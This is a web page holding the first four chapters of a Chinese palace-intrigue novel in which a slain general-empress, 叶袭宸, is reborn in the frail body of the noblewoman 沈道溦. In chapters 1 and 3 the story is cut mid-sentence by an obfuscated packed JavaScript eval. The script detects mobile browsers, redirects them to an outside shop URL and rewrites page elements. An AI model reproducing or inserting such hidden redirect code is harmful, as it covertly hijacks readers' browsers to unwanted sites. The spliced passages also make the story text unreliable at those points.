《将军她早晚要反》 1. 第 1 章 阴暗潮湿牢房内,一个男人靠坐在墙边。他似乎是已经死了,但仔细扒开那头脏乱的头发后,却会发现一双异常明亮的眸子。他的四肢都被锁链锁着,白皙的肌肤已经被勒出血红色的伤痕。 靠坐的墙面脏污不堪,就连掉下来的墙皮里面也是黑色的。土块砸在他的头上,他毫无所察。只有听到渐行渐近的熟悉脚步声时,他才稍微动了动脑袋。锁链被他的动作牵扯出稀碎的声音,仿佛在代替他哭泣一般。 沉重的脚步声伴随着利剑擦地的声音,男人倏然间勾唇。 半年了,这一天,终于还是到来了啊。 其实这半年来外面的砍杀声他不是没有听到,他只是装作什么都不知道而已。即便有几个幸存的劫狱者历尽千辛万苦来到他的面前,砍掉他的锁链,声称要带他走,他也绝对不会离开这间牢房。 因为,这是他欠她的。 她似乎很痛恨自己,因为自己害死了自己的姐姐。在她心里,姐姐永远是第一位的。他不敢问自己在她心里的地位,因为他知道从她口中说出来的答案,永远不会是自己想要听到的。 从被关进这间牢房开始,她每天都会来看他,发着疯折磨他。他一直以为她是恨自己的,但是每次伤害完他,她又会抱着自己流泪。当滚烫的泪水落在他遍布血污的脸上,当灼热的唇角贴在他干涸到开裂的唇角上时,他又觉得什么都值了。 起码,她不舍得杀他。 但是今天,他估计是要死在这里了。 她已经半个多月没有来看过他,外面打得昏天地暗,他也多多少少从狱卒的口中得知到一点儿消息。 大将军唐锶谐已经打着“诛叶贼,清君侧”的旗号打到帝京了。照如今这个趋势,不日帝京就会被攻破,唐锶谐也将会成为大衍继她之后第二位登上皇位的将军。而自己这个被她赶下皇位的皇帝,自然也就没了用武之地,合该是要同她一起被杀死的。自己的尸体或许会被妥善安置,而她这个囚禁皇帝的乱臣贼子的尸体,估计只会被扔到乱葬岗,任野狗啃食。 袭宸,我们生不能同衾,死也不能同穴吗。 心口的位置倏然间很痛。 男人闭了闭眼睛,一行清泪从眼角滑落。 脚步声在他的面前停下,一柄闪着寒光的利剑贴在了男人的喉结上。 “花疏叶。” 她几乎从来不会这么全名全姓地叫他,小的时候只叫他小叶子,登上皇位之后就更不会直呼自己的名字了。倒是被她从皇位之上赶下来后,她折磨和质问自己的时候会这么叫他。 “花疏叶,你到底为什么要让花疏玉去和亲!她可是一手把你扶持上皇位的亲姐姐!没有她,你早就在当年的夺嫡之战中被你的好二哥花疏言给害死了!” 她拿着鞭子狠狠地抽在他的身上。 她明明是沉默寡言的性子,一向人狠话不多,审问犯人的时候从来都是先插一刀在肩膀上。但是每次她审问自己的时候,却都是先问上一大堆,在得到自己的闭口不言时才会狠狠抽自己一顿。 或许,自己在她心里,到底还是与旁人不同的吧。但这份儿不同,究竟是因为自己是花疏叶,还是仅仅只是因为自己是花疏玉的弟弟就不得而知了。 利剑缓缓向下,停留在男人的锁骨上。 曾几何时,她也会在这上面烙下滚烫的唇印,但更多的却是拿着榔锤将鼓钉深深刺入其中。 外面的砍杀声已经越来越近,花疏叶知道这已经是最后的时辰了,便伸长了脖子,“动手吧,叶袭宸。” “你为何不敢睁眼看我?”花疏叶听到叶袭宸冷哼了一声,“是怕我看到你眼里的恐惧吗?” 花疏叶睁开了眼睛,才发现叶袭宸今日并未穿平日里她来看自己时的那身劲装,而是着了一身明黄色的龙袍。帽帘在晃动着,耀眼得如同她这个人一般闪闪发亮。 “最后的时辰了,你就没有要同我交代的?” 花疏叶摇了摇头。 叶袭宸冷冷地笑了一声。 有几个侍卫已经被杀,尸体倒在叶袭宸的脚下。 “叶袭宸,城门已经被攻破,你无路可逃了,束手就擒吧。” 唐锶谐面无表情地站在离叶袭宸几步远的地方,双手负在身后。明明只是个将军,身上的帝王之气却比在场的两个皇帝都要旺盛。 “呵。”叶袭宸脸色极寒,“要我的命可以,要我投降,不可能!” 叶袭宸持剑刺向唐锶谐,唐锶谐迎难而上。身后涌上来一大批将士们,不由分说便往叶袭宸身上刺去。一时之间,嘶吼声和砍杀声充斥整间牢狱。 利剑折射出来的寒光刺痛了花疏叶的眼睛。 叶袭宸纵然也是将军出身,也在战场上厮杀了许多年,然而也架不住一波又一波的进攻。不多时,明黄色的龙袍上便冒出了星星点点的血迹。终于,唐锶谐的剑捅入了叶袭宸的胸口,其余将士的剑也一齐捅入。 “咳咳……” 叶袭宸猛地吐出一口鲜血,身体被十余把剑捅穿,她既不能后退也不能前进,蠕动了几下唇角后,就停止了呼吸。 或许别人不知道叶袭宸说了些什么,但与叶袭宸同袍几年的唐锶谐不可能不知道。 “你始终是一个极其懦弱自私的人。” 这是叶袭宸留给唐锶谐最后的话。 身旁的人来来往往,有的在搬运尸体,有的在解救花疏叶,只有一个人在数落唐锶谐,甚至想要举剑杀了他。 这个人就是宋雪砚——当朝宰相。 “为什么!你说过只要放你们进城就不杀她的!”宋雪砚看到叶袭宸万剑穿心的尸体后已经彻底失去了理智,举剑刺向唐锶谐。但是剑还没有刺到唐锶谐身上就被旁边的人打掉。那人正要将宋雪砚一击毙命,然而却被唐锶谐拦住。 “放过她吧。”唐锶谐的神情依旧冷淡,他居高临下地看着宋雪砚:“对她来说,活着比死了更难受。” “唐锶谐,你不得好死!不得好死!你迟早会下地狱的哈哈哈哈哈!”哭喊中混杂着叫骂的声音响彻整间牢房,宋雪砚仿佛已经变得痴癫。官帽已经从头上掉落,往日里梳得整整齐齐的乌黑发丝此时也变得凌乱不堪。她像是在地狱深处爬出来的恶鬼,恨不得撕咬在场每个人身上的血肉。因为他们每一个人的手上都沾染了叶袭宸的鲜血。但其实,最该被下地狱的不是她吗? 从宋雪砚的话里,花疏叶已经知道是她出卖了叶袭宸,打开了帝京的城门。物是人非事事休,曾经,她和叶袭宸还有花疏玉是最最要好的朋友,然如今却是一个万剑穿心,一个在和亲途中被人刺杀。仅剩的一个,此时也已经变得神智不清。 花疏叶闭了闭眼睛。 宋雪砚和叶袭宸是花疏玉身旁最得力的两位朋友,一文一武,将整个大衍牢牢掌握在手里。如果可能的话,花疏玉甚至完全可以取代花疏叶,登基为帝。朝中甚至民间也丝毫不怀疑这一点,也正是因为如此,在北蛮派使者来大衍求娶公主的时候,花疏玉才会被派去和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883524|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲。 或许朝中的那些老臣是为了稳固朝局,但是此举却更加加速了皇位的更迭。 花疏叶睁开眼睛。 牢内的人已经渐渐退去,只剩唐锶谐和花疏叶。唐锶谐已经提剑而来,缓缓地靠近花疏叶。后者抬起头来,仔细打量着这位和叶袭宸齐名的将军。 银白色的面具将他的大半张脸全都遮住,只露出一双面无表情的漆黑色眸子,深邃得如同皇宫内那口极深的枯井。 唐锶谐抬剑。 花疏叶眼睁睁看着他的剑斩断自己身上的镣铐,眉头不由得往上轻轻跳动一下。唐锶谐单膝跪地,染血的剑撑在身旁:“末将救驾来迟,望皇上赎罪。” “你不杀我?”花疏叶的语气里有惊讶,有疑惑,也有挑衅。 闻言,唐锶谐立马双膝跪地,剑也已经放倒:“末将不敢。” “你难道不想称帝吗?”花疏叶像是在循循善诱一个三岁孩童,虽然唐锶谐明显看上去比自己要年长一些,在自己还拉着花疏玉的手哭喊着要斗蛐蛐的年纪,他就已经在军中出名了。 “末将不敢。”这次唐锶谐将身子伏得更低了。 花疏叶看不清他的神情,无从判断出他的心思,只道:“既如此,卿便与朕一同回宫吧。” “敢问皇上,叶袭宸的尸体该如何处置?” “卿想如何处置?” “皇上想如何处置,末将自当遵从。” “卿想如何处置就如何处置了吧。” 花疏叶似是已经疲惫了,也不愿就这个问题思虑太多,拖着伤痕累累的身躯便离去。 唐锶谐缓缓从地上站起来。他望着花疏叶离开的方向,垂在身侧的双手紧握成拳。他将剑插入鞘中,再抬起头来时,却见不知何时,开在墙上的一个小窗里已经盛满了天际璀璨的星光。 一双漆黑色的眸子变得愈加深沉,唐锶谐提剑离开。 大衍三百六十五年,叶贼已除,奸相已诛,时年十八岁的永安帝复位成功,大将军唐锶谐成为摄政王。一时之间,朝野振奋,举国同欢。唯有一处无人的角落,一个疯疯癫癫的女子跌跌撞撞地闯进摘星楼,与一位正在卜卦推演天象的女子面面相觑。 “可叹,昔日高高在上的宋相如今竟会沦落至如此地步。”女子在宋雪砚的身前蹲下,抬起她的下巴:“宋相,你可有半点儿后悔?” “不……袭宸不是我害死的,我只是不想让她再杀人了……”宋雪砚的嘴里含混不清地说着一些半真半假的话。 “不再杀人?”女子似乎听到了什么好笑的笑话一般笑了出来:“自古以来,哪个登上皇位的人不是踏着千万人的白骨走来的?宋相,你未免有些太过天真了。” “不……我不是宋相,我不是……”宋雪砚蜷缩在一边,瑟瑟发抖地看着眼前的女人:“你是谁?”她蓦然间笑了出来,笑意竟有几分渗人:“嘻嘻……你是……来找我玩的吗?” “宋相你忘记了吗?我是符无虞,当初——”符无虞轻轻勾唇,笑容宛若徐徐绽放的夹竹桃,美丽且有富含毒素,叫人不寒而栗,“可是你把我带到大衍来的。” 外面不知何时已经下起了大雨,雨珠如同豆子一般噼里啪啦地砸在房顶上。道道闪电在漆黑的暮色中闪烁,狂风裹挟着浓重的寒意吹进摘星楼,撩动得垂在屋檐下的风铃发出清脆的声响。墙上倒映出一个若隐若现的影子,似有几分故人的味道。 宋雪砚尖叫一声,神情惊恐:“叶……叶袭宸!” 2. 第 2 章 永安四年,沈府。 才刚下过细雨,青子石路上铺满了黄色的落叶,仿佛吸饱了了水分一般沉甸甸地,像是压在叶袭宸的心头。她站在紫藤花开满的回廊上,凭栏远望层层叠叠的假山。 碧绿色的青苔爬满锋利的石头,眼前的视野一阵恍惚,叶袭宸隐约可见几处喷溅而出的血迹。 那是她从假山上摔下来磕碰上去的。准确来说,是这具身体的血迹。叶袭宸不由得探身向湖水边,清澈见底的水面泛起层层涟漪,倒映出一张清丽无比的面庞。她不由得捏了捏自己的脸颊,直到感觉到疼痛才开始渐渐接受了自己已经占据了别人身体的事实。 其实,叶袭宸认得自己这张脸,活着的时候曾经同花疏玉一道来拜访过她。 ——沈道溦。 帝京有名的才女,琴棋书画,无一不通。身虽困在四方小院之中,心却有鸿鹄之志。不过只可惜,她是个病西子。虽是当时帝京的状元娘,但这身子却是委实不争气。 当时花疏玉大力举荐她出任宰相,只是才不过短短几日,她便接连吐血,连同折子也染上了触目惊心的红色。花疏玉怜惜她的身体,便让她回家休养,由当时的榜眼宋雪砚补上宰相的空缺。 自此后,叶袭宸便再也没有看到过她。即便后来花疏玉在和亲途中遭遇刺杀,她率军入京,登基为帝,也没有再请沈道溦出山过。不曾想,今日再次相见,却是以如今这般姿态。 叶袭宸轻轻叹了一口气。 她记得自己依稀是死了,唐锶谐那个厚颜无耻的小人以多欺少,自己落了个万剑穿心的下场。本以为会死得透透的了,不成想再一睁眼,自己就摇身一变成了沈府的嫡女沈道溦。 叶袭宸思忖片刻。 既然自己已经占据了沈道溦的身体,难道是她已经死了吗?叶袭宸不由得一阵唏嘘。花疏玉还在时,曾经在民间遍寻名医来为沈道溦医治。花疏玉和亲临行之前,曾托人给自己捎来一封书信,信上所说便是叫她帮忙好好照顾沈道溦。起初自己还信守承诺,只是后来被花疏玉的死刺激得迷失了理智,才顾不上沈道溦了。如此说来,沈道溦的死也有自己的一份儿责任在。 叶袭宸闭了闭眼睛。 既是这样,自己便连同沈道溦的那一份儿一起活下去吧。 肩上倏然落上一件白氅,叶袭宸回头看去,原来是丫鬟若云。沈道溦喜静,她的丫鬟也是个文静的女子,声音也是淡淡的:“主子,秋日风大,当心身子。” 一阵寒风吹过,叶袭宸禁不住打了个寒噤。她不由得往上拢了拢白氅,这具身体委实太虚了,若是前世,自己此时还冒着热汗呢。 还是先将这具身体练足实了再说。 叶袭宸在院子里走了一圈儿,便已经上气不接下气。心口的位置委实难受,难受得紧。眼前一阵阵发黑,视野逐渐变得有些模糊。叶袭宸身形晃了晃,险些要一头栽倒在湖里。幸亏若云手疾眼快,伸手扶了她一把,叶袭宸才不至于刚重生归来就又命丧当场。 万剑穿心的下场虽然听上去有些惨,但也好过走路累死。 “主子。”若云的眼泪流下来:“您的身子才刚好,快些回屋歇着吧。叶将军已经逝去两年了,您就别老牵挂着了。” “什么叶将军?”叶袭宸下意识问出口。 若云将要落下的眼泪停在脸上,错愕道:“主子您忘了……”继而又展开笑颜:“忘了好……忘了好啊,这样您也不用日日以泪洗面了。” “以泪洗面?” “主子自从听闻叶将军万剑穿心而死后,便日日夜夜掩面而泣。若非如此,也不至于从假山上失足而落。”若云哭哭啼啼道:“奴婢知道,主子当年因病休养,宰相之位才会落在宋相身上。因宋相两年前出卖了叶将军,叶将军才会落得如此惨状。主子一直对此事耿耿于怀,以至于将此事怪罪在自己身上。可是主子,斯人已逝,万望主子珍惜自个儿的身子。” 叶袭宸的脑袋嗡嗡作响。 平心而论,其实她前世与沈道溦交情不深,两人结识也只是因花疏玉之故。没想到,沈道溦竟会为自己伤心至此。 叶袭宸的心底酸涩无比。 若云在石凳上铺了一层厚厚的鹅绒,搀扶着叶袭宸坐下。 “奴婢知道主子恨自个儿的身子不争气,但把身子养好也非一日之功,主子要循序渐进才行啊。” 叶袭宸还未开口,背后便传来一道极其嚣张的声音:“循序渐进有何用,她一个病秧子,不如早死了算!” 语气可谓是相当不客气。 叶袭宸回头望去,只见一个着一身红色劲装的女子一手叉着腰,一手挥着鞭子过来。鞭尾扫起地上的落叶,带着锐利的锋芒,直冲叶袭宸的面颊而来。 若云大惊失色,正要挡在叶袭宸身前,却被后者轻轻往旁边一推。她着急得不得了,叶袭宸却身体未动,只是朝空中伸出手臂,灵活地将那几枚落叶通通抓在了掌心内。 动作快得几乎出现了残影,若云目瞪口呆,连同那红衣女子也是吃了一惊。她叉着腰道:“沈道溦,没想到你个病秧子还会这么一手。” 若云也反应了过来,震惊之余还不忘直接朝红衣女子跪下:“二小姐,我家主子前些日子一直病着,如今才好些。请二小姐高抬贵手,主子的身子真的经不起任何折腾了。” 二小姐? 叶袭宸细细想了一遍,沈道溦是沈府的嫡出大小姐,下面还有三四个庶出的妹妹。她记得先前来拜访沈道溦时,还远远望见一个红衣小姑娘在院子里扎马步,额冒白汗,神情专注。 莫非就是眼前这位? 叶袭宸细细地打量了红衣女子一眼,依稀记得那个小姑娘叫沈星月来着。 沈星月被叶袭宸瞧得心里发毛,“沈道溦,你这般瞧着我做什么?” “不做什么。”叶袭宸懒洋洋地应了一句,“习武之人,练武强身,本是为了锄强扶弱,没想到星月你居然对着我这个病秧子出手,真是丢了习武之人的颜面!” 说到最后一句时,叶袭宸略微提高了声音,气势也立即上 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好在若云也不是个喜欢深究的丫头,只是道:“二小姐因为叶将军之死迁怒到主子身上,两年以来,一直在找主子的麻烦。我们若是不走,那二小姐回过味来又要来找麻烦了。” “星月为何对叶将军如此在意?” “听闻二小姐当年曾被叶将军点拨过一二。” 点拨过一二?有这档子事儿,自己怎么不晓得。 叶袭宸眼前阵阵发黑,索性眼睛一闭,直接晕了过去。再醒来时,她已经躺在温暖的软榻之上。若云在旁边哭得两个眼睛都红肿了,见她醒来,忙端来一碗热气腾腾的药汤,不由分说便要往叶袭宸的嘴边送去。 “主子,你可算是醒了。”若云哽咽道:“郎中来瞧过三次了,每次都摇头,可把奴婢吓坏了。” “小丫头。”叶袭宸苍白的面颊浮现一抹温柔的笑意,她伸手揩去若云的眼泪,“你家主子我可不是这么容易就死的。下次再这么哭,就算我没死也要被你哭死了。” 叶袭宸本是开玩笑,不成想这小丫头竟当了真,手慢脚乱地抽鼻子,擦眼泪,并且再三保证以后再也不会轻易哭鼻子了。 保证完,若云又重新将苦不拉几的汤药送至叶袭宸的唇边。 “主子,快些将汤药喝了吧,奴婢已经热过两次了。” 叶袭宸禁不住蹙眉,但为了这具身体着想,她还是捏着鼻子硬生生喝了下去。浓重的苦涩在唇齿间渲染开来,叶袭宸闭了闭眼睛,直接端过若云手里的药碗,豪迈地一口闷了下去。 前世在战场上厮杀惯了,缺粮的时候什么难吃的东西都吃过。这汤药虽然苦了点,但是也不是无法下咽。 不过这番举动倒是把若云惊了一下,她抹着眼泪,脸上却是满满的欣慰:“主子终于肯主动吃药了。先前不管奴婢如何劝说,主子就是不肯吃,每每都有几十个借口等着奴婢,不是嫌药烫了就是嫌药苦了,就连蜜饯也不管用。” 这小丫头也是可怜。 叶袭宸摸了摸若云的脑袋:“从今后,我会好好吃药,努力活下去。” 3. 第 3 章 经过几个月的调理,叶袭宸的身子比之前好了不少。先前走几步就要歇息一阵,稍微用些力气就要吐血,现在已经可以在院内自由行走了。对此,叶袭宸不由得有些疑惑。沈道溦这具身体好好调理下是可以慢慢恢复的,为何她始终都是一副病恹恹的模样呢。 不过这个疑惑并没有在叶袭宸的心里扎根太久。许是见她眉头轻皱,身旁正在添茶的若云一脸担忧地问道:“主子,是有什么烦心事吗?” 叶袭宸不是把心事藏在心里的人,随口就说了出来。若云眼里泛着泪花,“主子先前每日总是唉声叹气,脸色也是一日比一日难看。主子向来不喜吃药,即便这药有益于主子的身体,但主子脸上的愁容依旧不减。” 叶袭宸听明白了,原来是心绪郁结的问题。她不由得叹息一声,可惜了,倘若将事情看开,也不至于如此。 她托着腮,唇角无意识地瘪起,指尖一下又一下地点在脸颊上,似乎是在琢磨着什么事情。若云瞧着叶袭宸这副神情,似是在苦恼,但又似是在憋坏水,觉得煞是新鲜,不由得问道:“主子在想什么?” “前几天一直没想起来问,”叶袭宸环顾四周,院内安静得有些过分,连落叶的簌簌声都极为清晰。她将右腿叠放在左腿上,右手轻轻在微凉的石桌上扣了三下,“缘何几日以来,这个小院内只有你我主仆二人?” 若云支吾道:“下人都被二小姐调走了,说是为准备招待摄政王的宴会。人手不足,只能抽调我们暖雪园的。” “唐锶谐?”叶袭宸想也未想便脱口而出。 这几个月的休养,她已经了解了当朝的局势。在唐锶谐所谓的拨乱反正下,花疏叶已经重新登基为帝。只是有些可笑的是,那花疏叶早已过了需要旁人摄政的年纪,却偏偏任命了唐锶谐为摄政王。朝政一概不理,悉数都交给了唐锶谐。每日只是在宫中寻欢作乐,最常去的地方便是国师符无虞的住所摘星楼。由此开始了沉迷丹药的日常,对所谓的神神叨叨的事情深信不疑。前几日不知发了什么疯,非要张罗着给摄政王唐锶谐娶亲。由此可见,这个所谓的什么招待摄政王的宴会,应是为唐锶谐选亲而办。 为验证自己心里的猜想,叶袭宸便多问了一句:“赴宴的宾客都有些谁,你可知道?” 若云细细思索一阵,“几乎帝京所有达官显贵的千金小姐都在受邀名单之列。” 看来是了。 叶袭宸微微勾唇一笑,如此机会,她不去添点儿乐子,岂不是有些可惜。她当即站了起来,吓得若云险些将手里的茶壶扔了。 或许叶袭宸自己都未曾留意到,此时此刻,她虽然唇角轻抿,然而笑意却未达眼底,一双澄澈明亮的眸子里满是翻涌的杀意。 若云从未见过自家主子流露出这般神情,一时之间吓得如同一只鹌鹑般瑟瑟发抖。然不过片刻,叶袭宸便轻轻眨了几下眼睛,那股子杀意便消失不见。 “主……主子?”若云小心翼翼问道。 “何事?”叶袭宸那双好看的眉眼弯了起来。 若云吞了下口水:“……您该不会是想去赴宴吧。” “有何不可?”叶袭宸懒洋洋应了一声:“本小姐可是帝京鼎鼎有名的才女,在暖雪园里躺了这么长时间,若是不趁此机会出去亮个相,旁人还以为我死了呢。” “可是……主子不是向来不喜欢这些哗众取宠的……”若云满脑袋疑惑,冷不防一只葱白的手搭在了自己的肩膀上。 若云倏地一惊,偏那只手的主人还得寸进尺地捏了捏她的脸蛋。叶袭宸将若云揽在怀里,单手叉腰,意气风发道:“之前是我思虑过重,有如此才华,不显露于人前,岂不是白费了我这许多年的努力?” “……主子说得也有道理,但……”若云担忧道:“主子已经许久不抚琴了。离宴会还有两日,如此仓促的时间,恐准备不足。” “呃……”叶袭宸摸了摸鼻子。 现下恐怕不是准备充分不充分的问题了,而是她想起了另外一件事情。她并非沈道溦,不知沈道溦的那身才华有没有可能为她所用。若是在宴会上出了洋相,不仅找不了乐子,还会连累沈道溦的名声受损。 但话已经说出去了,想要收回不大可能。即便是打肿脸充胖子,这个胖子她也当定了。 “不是还有两日吗,现下就开始准备,尚且还来得及。”叶袭宸道:“叫人去把我的古琴拿过来。” 不多时,几个小厮便把古琴抬了过来。叶袭宸一撩衣摆,在古琴前坐下。她高高地抬起手,神情凝重。 若云在旁边眼巴巴地看着,满心欢喜。叶袭宸犹在思索,前世她自小就在灾民堆里长大,若非遇上花疏玉,恐怕自己这一辈子都只会在山头上当土匪。后来在军营摸爬滚打几年,一步步成为将军,使的都是刀枪剑戟,斧钺钩叉,又何曾摸过古琴。 她见过沈道溦在古琴前的风采,那闲适自得的神情和娴熟的指法,都曾令当时的叶袭宸赞叹不已。那时她便在想,若是有朝一日自己能像沈道溦那般胸有成竹地坐在古琴前,弹奏出动听悦耳的曲子就好了。 一语成谶。 不成想,今日竟以这种方式实现了。 叶袭宸缓缓落下手指。 骨节分明的手指撩拨着琴弦,凄厉的琴音徐徐从指间流出。 叶袭宸有些诧异,本以为自己会弹得乱七八槽,却没想到真到拨弄琴弦的时候,竟是如此得心应手。 看来是这具身体留下的记忆了。 叶袭宸不免一阵鼻酸。 如此铭心刻骨的记忆,想来先前不知沈道溦弹奏过多少遍。自己如今不但霸占了人家的身体,竟连她的才气也一并收下了。 一滴眼泪缓缓自眼角落下,好巧不巧砸在琴弦之上。叶袭宸正陶醉在自己的情绪中,猛地被这一声惊醒。 琴音戛然而止。 叶袭宸缓缓睁眼,与同样沉醉在琴音中惊醒的若云面面相觑。许是瞧见了叶袭宸的眼眶略微有些红肿,若云竟也不自觉拭泪:“主子,你莫不是又想起了叶将军?” 呃。 叶袭宸不自觉摸了摸鼻子,不知道该怎么回。也不知道若云这小丫头脑补了些什么东西,竟扑通一声跪倒在叶袭宸脚下:“主子,您就忘了叶将军吧。这几个月以来,奴婢眼看着您的身子一点一点好起来,可不想您再因此郁郁寡欢了。” 叶袭宸不自觉地叹了一口气,她缓缓揩去眼角的泪痕。这滴泪滴下并非她所愿,应也是这具身体的记忆。可这首曲子与自己又有何干系,缘何若云一听便知是想起了谁。 难道是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883526|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己先前曾与沈道溦一同欣赏过这首曲子?可是为何自己却不记得。 叶袭宸百思不得其解,索性也就不再去想了。她由着若云将自己搀起来,然后走出暖雪阁。 这还是自从成为沈道溦后第一次在沈宰辅的府里闲逛。说起沈宰辅,叶袭宸便气不打一处来。这个老狐狸委实狡猾,前世她看在沈道溦的面子上任命他做了吏部尚书。不想这老狐狸竟暗自与唐锶谐勾结,不动声色地换掉了朝中几个官员。虽都是不起眼的,但却在紧急时刻能起到关键作用的,譬如城门尉。 想起这些,叶袭宸便不自觉地攥紧了手指,却忘记了若云还在扶着她,痛得小丫头眼泪汪汪。她连忙松开了手,若云的睫毛上挂着晶莹的泪珠:“主子哪儿来如此大的力气?” 叶袭宸不由自主地摸了摸鼻子,正欲寻个由头,视线无意识掠过旁边,瞳孔骤然一缩。 一枚飞镖正不偏不斜地直冲她的面门而来! 叶袭宸急忙推开若云,她自己也摇摇欲坠,正待跌向地面。 这具身体还是太弱了些。 叶袭宸在心底叹了口气,若是放在以前,她还能在若云面前表演个徒手接飞镖,然而现在却是有心无力。这枚飞镖虽不至于致命,但沈道溦这张脸怕是要留下一道深可见骨的血痕了。 一条鞭子卷住了她的腰身,往旁边扯去。与此同时,一道身影从旁边掠出。叶袭宸的肩膀撞上了柱子,痛得唇间溢满血腥的铁锈味。她扶着肩膀,才看清原来刚才掠出去的是一个男子。 “可有受伤?”男子食指和中指夹着飞镖,偏过头去问她。 叶袭宸将喉头涌起的一股腥甜咽下去,紧抿着唇摇了摇头。若云跑过来扶住她,也不知是吓的还是担心她,一双眼睛又是红了。见这小丫头又要掉眼泪,叶袭宸抢先一步捏了捏她的鼻子,安慰道:“我没事。” 男子已然走到主仆身前,一脸关切。不知是瞧见了什么,抬头看向长廊尽头,高声喊道:“秋实兄,府上倒是比江湖更是险象环生呐。”语气里尽是揶揄,顺道还抬手扬了扬手里的飞镖。 秋实兄?难不成是沈道溦的兄长沈秋实? 叶袭宸抬头,只见沈秋实一身白色锦袍负手而立,眉头皱得紧紧的。她暗自惊叹,前世见他时,他还是一副病殃殃的模样,肤色灰白,眼窝深陷,身子弱得比沈道溦还要厉害。然而现在却是神采奕奕,精神饱满,眉宇之间尽显精气神。 究竟是找了何方神医,她有点儿想请教下沈秋实了。 沈秋实一眼便看到了藏匿在草丛中的沈星月,厉声呵斥道:“还不出来,等着我叫人来请吗?” 沈星月低着头出来,连狡辩都不敢,与之前嚣张跋扈的样子简直判若两人。 沈秋实继续呵斥:“如此雕虫小技,也好意思在客人面前献丑?还不赶紧向客人赔罪!” 叶袭宸暗自啧舌。 先前倒是没看出沈秋实还是个惯会做人的家伙,寥寥几句,就将沈星月的行为避重就轻化了。 只见沈星月走到那个沈秋实口中的客人面前,恭恭敬敬地行了礼,然后态度极其恳切地说了句对不起。 “还不下去!” 沈星月如释重负,灰溜溜地正欲离开,却被叶袭宸叫住。 “等等。” 4. 第 4 章 沈星月以为叶袭宸要为难她,颇没好气道:“你还要做什么?” 沈秋实和那男子也抱有此想法,一个的眉头皱得更紧了,一个倒是挑了挑眉,俨然一副看好戏的状态。叶袭宸弯腰捡起那根将她卷到一旁的鞭子,这根鞭子比较细软,是用那种简单的棉布缠绕而成,想来是沈星月自己弄的。 她将鞭子递给沈星月,微微抿唇:“你的鞭子还给你。” 沈星月半信半疑地接过鞭子,像是第一天才认识叶袭宸似的打量了她半天。可叶袭宸始终面带微笑,她也打量不出什么来,便转身而去了。 男子笑道:“秋实兄,你这个妹妹着实有趣。对着自家的亲姐妹像是不认识一般,对我这一介外人倒是礼貌得很。” “无暇兄就莫再取笑我了。”沈秋实互相介绍起两人来:“道溦,这是楚无暇,为兄的好友。这是我另外一个妹妹,沈道溦,你应该听过她的大名。” “的确。”楚无暇唇角染上一层笑意:“在下正是为沈小姐而来。” 叶袭宸笑了:“楚兄倒是直白得很。” 沈秋实刚刚舒展的眉头再次皱紧了。 叶袭宸调侃道:“兄长这是给我寻了门亲事吗?” 沈秋实的眉头舒展了些,也顺着叶袭宸的意思道:“无暇兄若是有此意,只怕还要家父同意。” 楚无暇的目光在叶袭宸和沈秋实的身上转了一圈,无奈道:“你们倒像是真兄妹似的,话里话外赶我去拜见沈宰辅。既是如此,秋实兄就请带路吧。” 沈秋实和楚无暇走后,若云愤愤不平道:“这个楚公子怎地油嘴滑舌的,救了主子一次就想让主子以身相许吗?” 叶袭宸盯着楚无暇的背影,眼睛里满是笑意:“倘若这楚无暇真有意,沈宰辅和兄长也没有异议,我倒是不介意以身相许。” 若云疑惑极了:“难不成主子也看上了那个浪荡公子?” “自古美人爱英雄,楚公子的实力方才你我有目共睹。如此人才,就这么放过岂不是可惜?” “话虽如此说,但那个楚公子看上去吊儿郎当,主子先前不是最是厌烦这种人吗?” 原来是这样吗? 叶袭宸摸了摸鼻子,看来自己对沈道溦还是知之甚少了。她由若云扶着回暖雪阁,不经意间问道:“那我原先最是喜欢什么样的男子?” 若云仔细想了想:“大抵是像摄政王那般深沉内敛的。” 叶袭宸直接一口鲜血喷了出来,若云吓坏了,急忙拿帕子擦掉叶袭宸的唇角的血迹。 “主子!主子!” 眼见若云又要掉眼泪了,叶袭宸忙摆手道:“无妨,只是方才撞柱的缘故。” 本来还能憋着,如今听到唐锶谐的名字属实是忍不住了。叶袭宸万万没有想到,沈道溦居然喜欢唐锶谐那样的! 这家伙平白无故总是以半边银色面具示人,从来不肯将真容显露于前。而且心思极深,说不了几句话就闭嘴不言了,任旁人如何问就是不再开口。有事没事就喜欢半仰着脖子眺望冷冰冰的月亮,还总是唉声叹气的。 叶袭宸也算与唐锶谐同袍几年,却始终看不清他到底是怎样的人。若说是为功名利禄,封侯拜相,她也在登基为帝的时候招揽过他,可他却不识好歹,反倒起兵造反。若说是为黄袍加身,登基为帝,如今他已是摄政王,又手握重兵,完全可以取花疏叶而代之。可他却没有这份儿心思,已经过去两三年了,他却像是已经安逸现状一般,整日待在摄政王府内处理政务,处理完还要交由花疏叶过目。花疏叶点头后,他才肯交由下面的人去处理。花疏叶不点头,他就去催,和声细语的,催了几遍也不嫌麻烦。 真乃怪人哉! 叶袭宸多问了一句:“我的心思,可曾向摄政王透露过?” “叶将军登基前,主子一直藏着掖着……” 叶袭宸瞪大双眼:“也就是说,唐锶谐已然知晓?” 若云不知为何叶袭宸这么大的反应,只是点了点头。 叶袭宸扶了下额,有气无力地问出口:“那……摄政王是何反应?” 